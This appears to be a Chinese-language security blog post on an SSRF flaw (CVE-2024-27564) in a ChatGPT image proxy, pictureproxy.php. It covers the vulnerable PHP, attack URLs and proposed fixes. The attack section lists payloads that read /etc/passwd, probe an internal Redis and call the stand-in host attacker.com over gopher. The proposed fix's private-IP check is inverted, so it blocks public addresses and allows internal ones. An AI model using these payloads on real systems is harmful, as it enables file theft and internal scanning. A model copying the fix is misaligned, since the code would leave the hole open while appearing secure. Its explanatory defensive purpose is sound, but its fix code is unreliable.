共计 2539 个字符,预计需要花费 7 分钟才能阅读完成。
背景:SSRF 漏洞基础与案例引入
SSRF(Server-Side Request Forgery)服务端请求伪造,是服务器未对用户提供的 URL 进行严格校验,导致攻击者可以构造恶意请求访问内部资源的漏洞。其危害包括:

- 扫描内网敏感服务(如 Redis、数据库管理界面)
- 通过协议处理程序读取本地文件(如 file:///etc/passwd)
- 作为跳板发起进一步攻击
ChatGPT 的图片代理服务(pictureproxy.php)因未对用户提交的图片 URL 做充分验证,导致攻击者可操控服务器发起任意 HTTP 请求,形成典型 SSRF 漏洞(CVE-2024-27564)。
漏洞分析:pictureproxy.php 的缺陷解剖
原始漏洞代码关键逻辑如下(简化版):
// 从用户输入获取图片 URL
$imageUrl = $_GET['url'];
// 直接请求用户提供的 URL
$imageData = file_get_contents($imageUrl);
header("Content-Type: image/png");
echo $imageData;
主要问题点:
- 无协议限制:可接受 file://、gopher:// 等危险协议
- 无目标验证:允许访问内网 IP 段(如 192.168.1.1)
- 无域名白名单:未校验请求域名是否属于合法图片源
攻击演示:漏洞利用实例
攻击者可通过如下方式利用漏洞:
-
读取服务器本地文件:
/pictureproxy.php?url=file:///etc/passwd -
扫描内网服务(以 Redis 为例):
/pictureproxy.php?url=http://192.168.1.100:6379/info -
使用非 HTTP 协议进行攻击:
/pictureproxy.php?url=gopher://attacker.com:1337/_exploit_payload
修复方案:代码级防护措施
核心修复代码示例
// 安全版本图片代理实现
function safeFetchImage($inputUrl) {
// 1. 协议白名单校验
$allowedSchemes = ['http', 'https'];
$parsed = parse_url($inputUrl);
if (!in_array($parsed['scheme'] ?? '', $allowedSchemes)) {throw new Exception("仅允许 HTTP/HTTPS 协议");
}
// 2. 域名白名单校验(示例域名需替换为实际业务允许的)$allowedDomains = ['cdn.openai.com', 'legit-image-host.com'];
if (!in_array($parsed['host'], $allowedDomains)) {throw new Exception("非法的图片源域名");
}
// 3. 禁用私有 IP 段(RFC 1918)$ip = gethostbyname($parsed['host']);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {throw new Exception("禁止访问内网资源");
}
// 4. 使用 CURL 替代 file_get_contents(更好控制超时和重定向)$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $inputUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 禁用重定向
curl_setopt($ch, CURLOPT_TIMEOUT, 5); // 5 秒超时
$imageData = curl_exec($ch);
// 5. 验证返回内容确实是图片
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!str_starts_with($finfo->buffer($imageData), "image/")) {throw new Exception("返回内容不是有效图片");
}
return $imageData;
}
网络层加固建议
- 出口防火墙规则:
- 限制服务器只能向特定 CDN 域名发起出站请求
-
阻断非常用端口(如 6379、3306 等)
-
WAF 配置:
- 拦截包含敏感路径的请求(如
/etc/passwd) - 检测异常 User-Agent 和请求频率
防护进阶:深度防御策略
防御纵深措施
- 请求签名:对图片 URL 添加时效性签名,防止参数篡改
- 沙箱环境:在高风险代理操作中使用 Docker 容器隔离
- 流量监控:对异常出站请求(如访问内网 IP)触发告警
日志记录关键字段
log_format security_log '$time_iso8601 $remote_addr"$request"''$status $body_bytes_sent "$http_referer" ''"$http_user_agent"$request_time'
'PROXY_TARGET:$arg_url';
应监控:
- 单个客户端的高频图片代理请求
- 非常见域名的访问尝试
- 异常响应内容类型(如 text/html 返回)
避坑指南:开发同类功能注意事项
- 永远不要信任用户提供的 URL
- 即使前端做了验证,后端必须重复校验
-
考虑使用预定义的图片 ID 而非原始 URL
-
协议处理要谨慎
- 禁用所有非必要协议(如 file://、ftp://)
-
注意 URL 解析库在不同语言中的差异
-
网络边界控制
- 测试环境与生产环境网络隔离
-
关键业务服务器不应直接暴露外网访问能力
-
依赖库安全
- 定期更新 HTTP 客户端库(如 PHP 的 curl)
- 禁用危险功能(如 libcurl 的 CURLOPT_SSH_COMPRESSION)
结语:SSRF 防御的全局视角
除了图片代理服务,以下场景也需警惕 SSRF 风险:
- Webhook 回调地址验证
- 第三方 API 调用时的 URL 参数
- 文档转换服务中的远程资源获取
- 邮件 / 消息中的链接预览功能
安全防护需要持续迭代,建议定期进行:
- 自动化漏洞扫描(如 SSRF 测试用例)
- 红蓝对抗演练
- 依赖组件安全审计
通过多层防御和监控体系,才能有效降低 SSRF 风险。
正文完
发表至: 未分类
近三天内
